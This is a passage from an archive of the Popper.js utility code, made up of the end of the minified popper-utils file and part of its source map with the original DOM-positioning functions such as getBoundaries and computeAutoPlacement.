d=a.ownerDocument.documentElement,e=t(a,d),f=c(d.clientWidth,window.innerWidth||0),g=c(d.clientHeight,window.innerHeight||0),h=b?0:l(d),i=b?0:l(d,'left'),j={top:h-e.top+e.marginTop,left:i-e.left+e.marginLeft,width:f,height:g};return r(j)}function v(c){const d=c.nodeName;return'BODY'===d||'HTML'===d?!1:!('fixed'!==a(c,'position'))||v(b(c))}function w(b){if(!b||!b.parentElement||g())return document.documentElement;let c=b.parentElement;for(;c&&'none'===a(c,'transform');)c=c.parentElement;return c||document.documentElement}function x(a,d,e,f,g=!1){let h={top:0,left:0};const i=g?w(a):k(a,d);if('viewport'===f)h=u(i,g);else{let e;'scrollParent'===f?(e=c(b(d)),'BODY'===e.nodeName&&(e=a.ownerDocument.documentElement)):'window'===f?e=a.ownerDocument.documentElement:e=f;const j=t(e,i,g);if('HTML'===e.nodeName&&!v(i)){const{height:b,width:c}=p(a.ownerDocument);h.top+=j.top-j.marginTop,h.bottom=b+j.top,h.left+=j.left-j.marginLeft,h.right=c+j.left}else h=j}e=e||0;const j='number'==typeof e;return h.left+=j?e:e.left||0,h.top+=j?e:e.top||0,h.right-=j?e:e.right||0,h.bottom-=j?e:e.bottom||0,h}function y({width:a,height:b}){return a*b}function z(a,b,c,d,e,f=0){if(-1===a.indexOf('auto'))return a;const g=x(c,d,f,e),h={top:{width:g.width,height:b.top-g.top},right:{width:g.right-b.right,height:g.height},bottom:{width:g.width,height:g.bottom-b.bottom},left:{width:b.left-g.left,height:g.height}},i=Object.keys(h).map((a)=>q({key:a},h[a],{area:y(h[a])})).sort((c,a)=>a.area-c.area),j=i.filter(({width:a,height:b})=>a>=c.clientWidth&&b>=c.clientHeight),k=0<j.length?j[0].key:i[0].key,l=a.split('-')[1];return k+(l?`-${l}`:'')}const A=['Edge','Trident','Firefox'];let B=0;for(let a=0;a<A.length;a+=1)if(d&&0<=navigator.userAgent.indexOf(A[a])){B=1;break}function C(a){let b=!1;return()=>{b||(b=!0,window.Promise.resolve().then(()=>{b=!1,a()}))}}function D(a){let b=!1;return()=>{b||(b=!0,setTimeout(()=>{b=!1,a()},B))}}const E=d&&window.Promise;var F=E?C:D;function G(a,b){return Array.prototype.find?a.find(b):a.filter(b)[0]}function H(a,b,c){if(Array.prototype.findIndex)return a.findIndex((a)=>a[b]===c);const d=G(a,(a)=>a[b]===c);return a.indexOf(d)}function I(a){let b;if('HTML'===a.nodeName){const{width:c,height:d}=p(a.ownerDocument);b={width:c,height:d,left:0,top:0}}else b={width:a.offsetWidth,height:a.offsetHeight,left:a.offsetLeft,top:a.offsetTop};return r(b)}function J(a){const b=a.ownerDocument.defaultView,c=b.getComputedStyle(a),d=parseFloat(c.marginTop)+parseFloat(c.marginBottom),e=parseFloat(c.marginLeft)+parseFloat(c.marginRight),f={width:a.offsetWidth+e,height:a.offsetHeight+d};return f}function K(a){const b={left:'right',right:'left',bottom:'top',top:'bottom'};return a.replace(/left|right|bottom|top/g,(a)=>b[a])}function L(a,b,c){c=c.split('-')[0];const d=J(a),e={width:d.width,height:d.height},f=-1!==['right','left'].indexOf(c),g=f?'top':'left',h=f?'left':'top',i=f?'height':'width',j=f?'width':'height';return e[g]=b[g]+b[i]/2-d[i]/2,e[h]=c===h?b[h]-d[j]:b[K(h)],e}function M(a,b,c,d=null){const e=d?w(b):k(b,c);return t(c,e,d)}function N(a){const b=[!1,'ms','Webkit','Moz','O'],c=a.charAt(0).toUpperCase()+a.slice(1);for(let d=0;d<b.length;d++){const e=b[d],f=e?`${e}${c}`:a;if('undefined'!=typeof document.body.style[f])return f}return null}function O(a){return a&&'[object Function]'==={}.toString.call(a)}function P(a,b){return a.some(({name:a,enabled:c})=>c&&a===b)}function Q(a,b,c){const d=G(a,({name:a})=>a===b),e=!!d&&a.some((a)=>a.name===c&&a.enabled&&a.order<d.order);if(!e){const a=`\`${b}\``,d=`\`${c}\``;console.warn(`${d} modifier is required by ${a} modifier in order to work, be sure to include it before ${a}!`)}return e}function R(a){return''!==a&&!isNaN(parseFloat(a))&&isFinite(a)}function S(a){const b=a.ownerDocument;return b?b.defaultView:window}function T(a,b){return S(a).removeEventListener('resize',b.updateBound),b.scrollParents.forEach((a)=>{a.removeEventListener('scroll',b.updateBound)}),b.updateBound=null,b.scrollParents=[],b.scrollElement=null,b.eventsEnabled=!1,b}function U(a,b,c){const d=void 0===c?a:a.slice(0,H(a,'name',c));return d.forEach((a)=>{a['function']&&console.warn('`modifier.function` is deprecated, use `modifier.fn`!');const c=a['function']||a.fn;a.enabled&&O(c)&&(b.offsets.popper=r(b.offsets.popper),b.offsets.reference=r(b.offsets.reference),b=c(b,a))}),b}function V(a,b){Object.keys(b).forEach(function(c){const d=b[c];!1===d?a.removeAttribute(c):a.setAttribute(c,b[c])})}function W(a,b){Object.keys(b).forEach((c)=>{let d='';-1!==['width','height','top','right','bottom','left'].indexOf(c)&&R(b[c])&&(d='px'),a.style[c]=b[c]+d})}function X(a,b,d,e){const f='BODY'===a.nodeName,g=f?a.ownerDocument.defaultView:a;g.addEventListener(b,d,{passive:!0}),f||X(c(g.parentNode),b,d,e),e.push(g)}function Y(a,b,d,e){d.updateBound=e,S(a).addEventListener('resize',d.updateBound,{passive:!0});const f=c(a);return X(f,'scroll',d.updateBound,d.scrollParents),d.scrollElement=f,d.eventsEnabled=!0,d}var Z={computeAutoPlacement:z,debounce:F,findIndex:H,getBordersSize:n,getBoundaries:x,getBoundingClientRect:s,getClientRect:r,getOffsetParent:h,getOffsetRect:I,getOffsetRectRelativeToArbitraryNode:t,getOuterSizes:J,getParentNode:b,getPopperOffsets:L,getReferenceOffsets:M,getScroll:l,getScrollParent:c,getStyleComputedProperty:a,getSupportedPropertyName:N,getWindowSizes:p,isFixed:v,isFunction:O,isModifierEnabled:P,isModifierRequired:Q,isNumeric:R,removeEventListeners:T,runModifiers:U,setAttributes:V,setStyles:W,setupEventListeners:Y};export{z as computeAutoPlacement,F as debounce,H as findIndex,n as getBordersSize,x as getBoundaries,s as getBoundingClientRect,r as getClientRect,h as getOffsetParent,I as getOffsetRect,t as getOffsetRectRelativeToArbitraryNode,J as getOuterSizes,b as getParentNode,L as getPopperOffsets,M as getReferenceOffsets,l as getScroll,c as getScrollParent,a as getStyleComputedProperty,N as getSupportedPropertyName,p as getWindowSizes,v as isFixed,O as isFunction,P as isModifierEnabled,Q as isModifierRequired,R as isNumeric,T as removeEventListeners,U as runModifiers,V as setAttributes,W as setStyles,Y as setupEventListeners};export default Z;
//# sourceMappingURL=popper-utils.min.js.map
popper-utils.min.js.map000064400000147424151677356750011145 0ustar00{"version":3,"file":"popper-utils.min.js","sources":["../src/utils/getStyleComputedProperty.js","../src/utils/getParentNode.js","../src/utils/getScrollParent.js","../src/utils/isBrowser.js","../src/utils/isIE.js","../src/utils/getOffsetParent.js","../src/utils/isOffsetContainer.js","../src/utils/getRoot.js","../src/utils/findCommonOffsetParent.js","../src/utils/getScroll.js","../src/utils/includeScroll.js","../src/utils/getBordersSize.js","../src/utils/getWindowSizes.js","../src/utils/getClientRect.js","../src/utils/getBoundingClientRect.js","../src/utils/getOffsetRectRelativeToArbitraryNode.js","../src/utils/getViewportOffsetRectRelativeToArtbitraryNode.js","../src/utils/isFixed.js","../src/utils/getFixedPositionOffsetParent.js","../src/utils/getBoundaries.js","../src/utils/computeAutoPlacement.js","../src/utils/debounce.js","../src/utils/find.js","../src/utils/findIndex.js","../src/utils/getOffsetRect.js","../src/utils/getOuterSizes.js","../src/utils/getOppositePlacement.js","../src/utils/getPopperOffsets.js","../src/utils/getReferenceOffsets.js","../src/utils/getSupportedPropertyName.js","../src/utils/isFunction.js","../src/utils/isModifierEnabled.js","../src/utils/isModifierRequired.js","../src/utils/isNumeric.js","../src/utils/getWindow.js","../src/utils/removeEventListeners.js","../src/utils/runModifiers.js","../src/utils/setAttributes.js","../src/utils/setStyles.js","../src/utils/setupEventListeners.js","../src/utils/index.js"],"sourcesContent":["/**\n * Get CSS computed property of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Eement} element\n * @argument {String} property\n */\nexport default function getStyleComputedProperty(element, property) {\n  if (element.nodeType !== 1) {\n    return [];\n  }\n  // NOTE: 1 DOM access here\n  const window = element.ownerDocument.defaultView;\n  const css = window.getComputedStyle(element, null);\n  return property ? css[property] : css;\n}\n","/**\n * Returns the parentNode or the host of the element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} parent\n */\nexport default function getParentNode(element) {\n  if (element.nodeName === 'HTML') {\n    return element;\n  }\n  return element.parentNode || element.host;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Returns the scrolling parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} scroll parent\n */\nexport default function getScrollParent(element) {\n  // Return body, `getScroll` will take care to get the correct `scrollTop` from it\n  if (!element) {\n    return document.body\n  }\n\n  switch (element.nodeName) {\n    case 'HTML':\n    case 'BODY':\n      return element.ownerDocument.body\n    case '#document':\n      return element.body\n  }\n\n  // Firefox want us to check `-x` and `-y` variations as well\n  const { overflow, overflowX, overflowY } = getStyleComputedProperty(element);\n  if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {\n    return element;\n  }\n\n  return getScrollParent(getParentNode(element));\n}\n","export default typeof window !== 'undefined' && typeof document !== 'undefined';\n","import isBrowser from './isBrowser';\n\nconst isIE11 = isBrowser && !!(window.MSInputMethodContext && document.documentMode);\nconst isIE10 = isBrowser && /MSIE 10/.test(navigator.userAgent);\n\n/**\n * Determines if the browser is Internet Explorer\n * @method\n * @memberof Popper.Utils\n * @param {Number} version to check\n * @returns {Boolean} isIE\n */\nexport default function isIE(version) {\n  if (version === 11) {\n    return isIE11;\n  }\n  if (version === 10) {\n    return isIE10;\n  }\n  return isIE11 || isIE10;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Returns the offset parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} offset parent\n */\nexport default function getOffsetParent(element) {\n  if (!element) {\n    return document.documentElement;\n  }\n\n  const noOffsetParent = isIE(10) ? document.body : null;\n\n  // NOTE: 1 DOM access here\n  let offsetParent = element.offsetParent || null;\n  // Skip hidden elements which don't have an offsetParent\n  while (offsetParent === noOffsetParent && element.nextElementSibling) {\n    offsetParent = (element = element.nextElementSibling).offsetParent;\n  }\n\n  const nodeName = offsetParent && offsetParent.nodeName;\n\n  if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {\n    return element ? element.ownerDocument.documentElement : document.documentElement;\n  }\n\n  // .offsetParent will return the closest TH, TD or TABLE in case\n  // no offsetParent is present, I hate this job...\n  if (\n    ['TH', 'TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 &&\n    getStyleComputedProperty(offsetParent, 'position') === 'static'\n  ) {\n    return getOffsetParent(offsetParent);\n  }\n\n  return offsetParent;\n}\n","import getOffsetParent from './getOffsetParent';\n\nexport default function isOffsetContainer(element) {\n  const { nodeName } = element;\n  if (nodeName === 'BODY') {\n    return false;\n  }\n  return (\n    nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element\n  );\n}\n","/**\n * Finds the root node (document, shadowDOM root) of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} node\n * @returns {Element} root node\n */\nexport default function getRoot(node) {\n  if (node.parentNode !== null) {\n    return getRoot(node.parentNode);\n  }\n\n  return node;\n}\n","import isOffsetContainer from './isOffsetContainer';\nimport getRoot from './getRoot';\nimport getOffsetParent from './getOffsetParent';\n\n/**\n * Finds the offset parent common to the two provided nodes\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element1\n * @argument {Element} element2\n * @returns {Element} common offset parent\n */\nexport default function findCommonOffsetParent(element1, element2) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n  if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {\n    return document.documentElement;\n  }\n\n  // Here we make sure to give as \"start\" the element that comes first in the DOM\n  const order =\n    element1.compareDocumentPosition(element2) &\n    Node.DOCUMENT_POSITION_FOLLOWING;\n  const start = order ? element1 : element2;\n  const end = order ? element2 : element1;\n\n  // Get common ancestor container\n  const range = document.createRange();\n  range.setStart(start, 0);\n  range.setEnd(end, 0);\n  const { commonAncestorContainer } = range;\n\n  // Both nodes are inside #document\n  if (\n    (element1 !== commonAncestorContainer &&\n      element2 !== commonAncestorContainer) ||\n    start.contains(end)\n  ) {\n    if (isOffsetContainer(commonAncestorContainer)) {\n      return commonAncestorContainer;\n    }\n\n    return getOffsetParent(commonAncestorContainer);\n  }\n\n  // one of the nodes is inside shadowDOM, find which one\n  const element1root = getRoot(element1);\n  if (element1root.host) {\n    return findCommonOffsetParent(element1root.host, element2);\n  } else {\n    return findCommonOffsetParent(element1, getRoot(element2).host);\n  }\n}\n","/**\n * Gets the scroll value of the given element in the given side (top and left)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {String} side `top` or `left`\n * @returns {number} amount of scrolled pixels\n */\nexport default function getScroll(element, side = 'top') {\n  const upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';\n  const nodeName = element.nodeName;\n\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    const html = element.ownerDocument.documentElement;\n    const scrollingElement = element.ownerDocument.scrollingElement || html;\n    return scrollingElement[upperSide];\n  }\n\n  return element[upperSide];\n}\n","import getScroll from './getScroll';\n\n/*\n * Sum or subtract the element scroll values (left and top) from a given rect object\n * @method\n * @memberof Popper.Utils\n * @param {Object} rect - Rect object you want to change\n * @param {HTMLElement} element - The element from the function reads the scroll values\n * @param {Boolean} subtract - set to true if you want to subtract the scroll values\n * @return {Object} rect - The modifier rect object\n */\nexport default function includeScroll(rect, element, subtract = false) {\n  const scrollTop = getScroll(element, 'top');\n  const scrollLeft = getScroll(element, 'left');\n  const modifier = subtract ? -1 : 1;\n  rect.top += scrollTop * modifier;\n  rect.bottom += scrollTop * modifier;\n  rect.left += scrollLeft * modifier;\n  rect.right += scrollLeft * modifier;\n  return rect;\n}\n","/*\n * Helper to detect borders of a given element\n * @method\n * @memberof Popper.Utils\n * @param {CSSStyleDeclaration} styles\n * Result of `getStyleComputedProperty` on the given element\n * @param {String} axis - `x` or `y`\n * @return {number} borders - The borders size of the given axis\n */\n\nexport default function getBordersSize(styles, axis) {\n  const sideA = axis === 'x' ? 'Left' : 'Top';\n  const sideB = sideA === 'Left' ? 'Right' : 'Bottom';\n\n  return (\n    parseFloat(styles[`border${sideA}Width`], 10) +\n    parseFloat(styles[`border${sideB}Width`], 10)\n  );\n}\n","import isIE from './isIE';\n\nfunction getSize(axis, body, html, computedStyle) {\n  return Math.max(\n    body[`offset${axis}`],\n    body[`scroll${axis}`],\n    html[`client${axis}`],\n    html[`offset${axis}`],\n    html[`scroll${axis}`],\n    isIE(10)\n      ? (parseInt(html[`offset${axis}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Top' : 'Left'}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Bottom' : 'Right'}`]))\n    : 0 \n  );\n}\n\nexport default function getWindowSizes(document) {\n  const body = document.body;\n  const html = document.documentElement;\n  const computedStyle = isIE(10) && getComputedStyle(html);\n\n  return {\n    height: getSize('Height', body, html, computedStyle),\n    width: getSize('Width', body, html, computedStyle),\n  };\n}\n","/**\n * Given element offsets, generate an output similar to getBoundingClientRect\n * @method\n * @memberof Popper.Utils\n * @argument {Object} offsets\n * @returns {Object} ClientRect like output\n */\nexport default function getClientRect(offsets) {\n  return {\n    ...offsets,\n    right: offsets.left + offsets.width,\n    bottom: offsets.top + offsets.height,\n  };\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getBordersSize from './getBordersSize';\nimport getWindowSizes from './getWindowSizes';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\nimport isIE from './isIE';\n\n/**\n * Get bounding client rect of given element\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} element\n * @return {Object} client rect\n */\nexport default function getBoundingClientRect(element) {\n  let rect = {};\n\n  // IE10 10 FIX: Please, don't ask, the element isn't\n  // considered in DOM in some circumstances...\n  // This isn't reproducible in IE10 compatibility mode of IE11\n  try {\n    if (isIE(10)) {\n      rect = element.getBoundingClientRect();\n      const scrollTop = getScroll(element, 'top');\n      const scrollLeft = getScroll(element, 'left');\n      rect.top += scrollTop;\n      rect.left += scrollLeft;\n      rect.bottom += scrollTop;\n      rect.right += scrollLeft;\n    }\n    else {\n      rect = element.getBoundingClientRect();\n    }\n  }\n  catch(e){}\n\n  const result = {\n    left: rect.left,\n    top: rect.top,\n    width: rect.right - rect.left,\n    height: rect.bottom - rect.top,\n  };\n\n  // subtract scrollbar size from sizes\n  const sizes = element.nodeName === 'HTML' ? getWindowSizes(element.ownerDocument) : {};\n  const width =\n    sizes.width || element.clientWidth || result.right - result.left;\n  const height =\n    sizes.height || element.clientHeight || result.bottom - result.top;\n\n  let horizScrollbar = element.offsetWidth - width;\n  let vertScrollbar = element.offsetHeight - height;\n\n  // if an hypothetical scrollbar is detected, we must be sure it's not a `border`\n  // we make this check conditional for performance reasons\n  if (horizScrollbar || vertScrollbar) {\n    const styles = getStyleComputedProperty(element);\n    horizScrollbar -= getBordersSize(styles, 'x');\n    vertScrollbar -= getBordersSize(styles, 'y');\n\n    result.width -= horizScrollbar;\n    result.height -= vertScrollbar;\n  }\n\n  return getClientRect(result);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport includeScroll from './includeScroll';\nimport getScrollParent from './getScrollParent';\nimport getBoundingClientRect from './getBoundingClientRect';\nimport runIsIE from './isIE';\nimport getClientRect from './getClientRect';\n\nexport default function getOffsetRectRelativeToArbitraryNode(children, parent, fixedPosition = false) {\n  const isIE10 = runIsIE(10);\n  const isHTML = parent.nodeName === 'HTML';\n  const childrenRect = getBoundingClientRect(children);\n  const parentRect = getBoundingClientRect(parent);\n  const scrollParent = getScrollParent(children);\n\n  const styles = getStyleComputedProperty(parent);\n  const borderTopWidth = parseFloat(styles.borderTopWidth, 10);\n  const borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);\n\n  // In cases where the parent is fixed, we must ignore negative scroll in offset calc\n  if(fixedPosition && isHTML) {\n    parentRect.top = Math.max(parentRect.top, 0);\n    parentRect.left = Math.max(parentRect.left, 0);\n  }\n  let offsets = getClientRect({\n    top: childrenRect.top - parentRect.top - borderTopWidth,\n    left: childrenRect.left - parentRect.left - borderLeftWidth,\n    width: childrenRect.width,\n    height: childrenRect.height,\n  });\n  offsets.marginTop = 0;\n  offsets.marginLeft = 0;\n\n  // Subtract margins of documentElement in case it's being used as parent\n  // we do this only on HTML because it's the only element that behaves\n  // differently when margins are applied to it. The margins are included in\n  // the box of the documentElement, in the other cases not.\n  if (!isIE10 && isHTML) {\n    const marginTop = parseFloat(styles.marginTop, 10);\n    const marginLeft = parseFloat(styles.marginLeft, 10);\n\n    offsets.top -= borderTopWidth - marginTop;\n    offsets.bottom -= borderTopWidth - marginTop;\n    offsets.left -= borderLeftWidth - marginLeft;\n    offsets.right -= borderLeftWidth - marginLeft;\n\n    // Attach marginTop and marginLeft because in some circumstances we may need them\n    offsets.marginTop = marginTop;\n    offsets.marginLeft = marginLeft;\n  }\n\n  if (\n    isIE10 && !fixedPosition\n      ? parent.contains(scrollParent)\n      : parent === scrollParent && scrollParent.nodeName !== 'BODY'\n  ) {\n    offsets = includeScroll(offsets, parent);\n  }\n\n  return offsets;\n}\n","import getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\n\nexport default function getViewportOffsetRectRelativeToArtbitraryNode(element, excludeScroll = false) {\n  const html = element.ownerDocument.documentElement;\n  const relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);\n  const width = Math.max(html.clientWidth, window.innerWidth || 0);\n  const height = Math.max(html.clientHeight, window.innerHeight || 0);\n\n  const scrollTop = !excludeScroll ? getScroll(html) : 0;\n  const scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;\n\n  const offset = {\n    top: scrollTop - relativeOffset.top + relativeOffset.marginTop,\n    left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,\n    width,\n    height,\n  };\n\n  return getClientRect(offset);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Check if the given element is fixed or is inside a fixed parent\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {Element} customContainer\n * @returns {Boolean} answer to \"isFixed?\"\n */\nexport default function isFixed(element) {\n  const nodeName = element.nodeName;\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    return false;\n  }\n  if (getStyleComputedProperty(element, 'position') === 'fixed') {\n    return true;\n  }\n  return isFixed(getParentNode(element));\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Finds the first parent of an element that has a transformed property defined\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} first transformed parent or documentElement\n */\n\nexport default function getFixedPositionOffsetParent(element) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n   if (!element || !element.parentElement || isIE()) {\n    return document.documentElement;\n  }\n  let el = element.parentElement;\n  while (el && getStyleComputedProperty(el, 'transform') === 'none') {\n    el = el.parentElement;\n  }\n  return el || document.documentElement;\n\n}\n","import getScrollParent from './getScrollParent';\nimport getParentNode from './getParentNode';\nimport findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getViewportOffsetRectRelativeToArtbitraryNode from './getViewportOffsetRectRelativeToArtbitraryNode';\nimport getWindowSizes from './getWindowSizes';\nimport isFixed from './isFixed';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Computed the boundaries limits and return them\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} popper\n * @param {HTMLElement} reference\n * @param {number} padding\n * @param {HTMLElement} boundariesElement - Element used to define the boundaries\n * @param {Boolean} fixedPosition - Is in fixed position mode\n * @returns {Object} Coordinates of the boundaries\n */\nexport default function getBoundaries(\n  popper,\n  reference,\n  padding,\n  boundariesElement,\n  fixedPosition = false\n) {\n  // NOTE: 1 DOM access here\n\n  let boundaries = { top: 0, left: 0 };\n  const offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n\n  // Handle viewport case\n  if (boundariesElement === 'viewport' ) {\n    boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);\n  }\n\n  else {\n    // Handle other cases based on DOM element used as boundaries\n    let boundariesNode;\n    if (boundariesElement === 'scrollParent') {\n      boundariesNode = getScrollParent(getParentNode(reference));\n      if (boundariesNode.nodeName === 'BODY') {\n        boundariesNode = popper.ownerDocument.documentElement;\n      }\n    } else if (boundariesElement === 'window') {\n      boundariesNode = popper.ownerDocument.documentElement;\n    } else {\n      boundariesNode = boundariesElement;\n    }\n\n    const offsets = getOffsetRectRelativeToArbitraryNode(\n      boundariesNode,\n      offsetParent,\n      fixedPosition\n    );\n\n    // In case of HTML, we need a different computation\n    if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {\n      const { height, width } = getWindowSizes(popper.ownerDocument);\n      boundaries.top += offsets.top - offsets.marginTop;\n      boundaries.bottom = height + offsets.top;\n      boundaries.left += offsets.left - offsets.marginLeft;\n      boundaries.right = width + offsets.left;\n    } else {\n      // for all the other DOM elements, this one is good\n      boundaries = offsets;\n    }\n  }\n\n  // Add paddings\n  padding = padding || 0;\n  const isPaddingNumber = typeof padding === 'number';\n  boundaries.left += isPaddingNumber ? padding : padding.left || 0; \n  boundaries.top += isPaddingNumber ? padding : padding.top || 0; \n  boundaries.right -= isPaddingNumber ? padding : padding.right || 0; \n  boundaries.bottom -= isPaddingNumber ? padding : padding.bottom || 0; \n\n  return boundaries;\n}\n","import getBoundaries from '../utils/getBoundaries';\n\nfunction getArea({ width, height }) {\n  return width * height;\n}\n\n/**\n * Utility used to transform the `auto` placement to the placement with more\n * available space.\n * @method\n * @memberof Popper.Utils\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function computeAutoPlacement(\n  placement,\n  refRect,\n  popper,\n  reference,\n  boundariesElement,\n  padding = 0\n) {\n  if (placement.indexOf('auto') === -1) {\n    return placement;\n  }\n\n  const boundaries = getBoundaries(\n    popper,\n    reference,\n    padding,\n    boundariesElement\n  );\n\n  const rects = {\n    top: {\n      width: boundaries.width,\n      height: refRect.top - boundaries.top,\n    },\n    right: {\n      width: boundaries.right - refRect.right,\n      height: boundaries.height,\n    },\n    bottom: {\n      width: boundaries.width,\n      height: boundaries.bottom - refRect.bottom,\n    },\n    left: {\n      width: refRect.left - boundaries.left,\n      height: boundaries.height,\n    },\n  };\n\n  const sortedAreas = Object.keys(rects)\n    .map(key => ({\n      key,\n      ...rects[key],\n      area: getArea(rects[key]),\n    }))\n    .sort((a, b) => b.area - a.area);\n\n  const filteredAreas = sortedAreas.filter(\n    ({ width, height }) =>\n      width >= popper.clientWidth && height >= popper.clientHeight\n  );\n\n  const computedPlacement = filteredAreas.length > 0\n    ? filteredAreas[0].key\n    : sortedAreas[0].key;\n\n  const variation = placement.split('-')[1];\n\n  return computedPlacement + (variation ? `-${variation}` : '');\n}\n","import isBrowser from './isBrowser';\n\nconst longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];\nlet timeoutDuration = 0;\nfor (let i = 0; i < longerTimeoutBrowsers.length; i += 1) {\n  if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {\n    timeoutDuration = 1;\n    break;\n  }\n}\n\nexport function microtaskDebounce(fn) {\n  let called = false\n  return () => {\n    if (called) {\n      return\n    }\n    called = true\n    window.Promise.resolve().then(() => {\n      called = false\n      fn()\n    })\n  }\n}\n\nexport function taskDebounce(fn) {\n  let scheduled = false;\n  return () => {\n    if (!scheduled) {\n      scheduled = true;\n      setTimeout(() => {\n        scheduled = false;\n        fn();\n      }, timeoutDuration);\n    }\n  };\n}\n\nconst supportsMicroTasks = isBrowser && window.Promise\n\n\n/**\n* Create a debounced version of a method, that's asynchronously deferred\n* but called in the minimum time possible.\n*\n* @method\n* @memberof Popper.Utils\n* @argument {Function} fn\n* @returns {Function}\n*/\nexport default (supportsMicroTasks\n  ? microtaskDebounce\n  : taskDebounce);\n","/**\n * Mimics the `find` method of Array\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function find(arr, check) {\n  // use native find if supported\n  if (Array.prototype.find) {\n    return arr.find(check);\n  }\n\n  // use `filter` to obtain the same behavior of `find`\n  return arr.filter(check)[0];\n}\n","import find from './find';\n\n/**\n * Return the index of the matching object\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function findIndex(arr, prop, value) {\n  // use native findIndex if supported\n  if (Array.prototype.findIndex) {\n    return arr.findIndex(cur => cur[prop] === value);\n  }\n\n  // use `find` + `indexOf` if `findIndex` isn't supported\n  const match = find(arr, obj => obj[prop] === value);\n  return arr.indexOf(match);\n}\n","import getWindowSizes from './getWindowSizes';\nimport getClientRect from './getClientRect';\n\n/**\n * Get the position of the given element, relative to its offset parent\n * @method\n * @memberof Popper.Utils\n * @param {Element} element\n * @return {Object} position - Coordinates of the element and its `scrollTop`\n */\nexport default function getOffsetRect(element) {\n  let elementRect;\n  if (element.nodeName === 'HTML') {\n    const { width, height } = getWindowSizes(element.ownerDocument);\n    elementRect = {\n      width,\n      height,\n      left: 0,\n      top: 0,\n    };\n  } else {\n    elementRect = {\n      width: element.offsetWidth,\n      height: element.offsetHeight,\n      left: element.offsetLeft,\n      top: element.offsetTop,\n    };\n  }\n\n  // position\n  return getClientRect(elementRect);\n}\n","/**\n * Get the outer sizes of the given element (offset size + margins)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Object} object containing width and height properties\n */\nexport default function getOuterSizes(element) {\n  const window = element.ownerDocument.defaultView;\n  const styles = window.getComputedStyle(element);\n  const x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);\n  const y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);\n  const result = {\n    width: element.offsetWidth + y,\n    height: element.offsetHeight + x,\n  };\n  return result;\n}\n","/**\n * Get the opposite placement of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement\n * @returns {String} flipped placement\n */\nexport default function getOppositePlacement(placement) {\n  const hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };\n  return placement.replace(/left|right|bottom|top/g, matched => hash[matched]);\n}\n","import getOuterSizes from './getOuterSizes';\nimport getOppositePlacement from './getOppositePlacement';\n\n/**\n * Get offsets to the popper\n * @method\n * @memberof Popper.Utils\n * @param {Object} position - CSS position the Popper will get applied\n * @param {HTMLElement} popper - the popper element\n * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)\n * @param {String} placement - one of the valid placement options\n * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper\n */\nexport default function getPopperOffsets(popper, referenceOffsets, placement) {\n  placement = placement.split('-')[0];\n\n  // Get popper node sizes\n  const popperRect = getOuterSizes(popper);\n\n  // Add position, width and height to our offsets object\n  const popperOffsets = {\n    width: popperRect.width,\n    height: popperRect.height,\n  };\n\n  // depending by 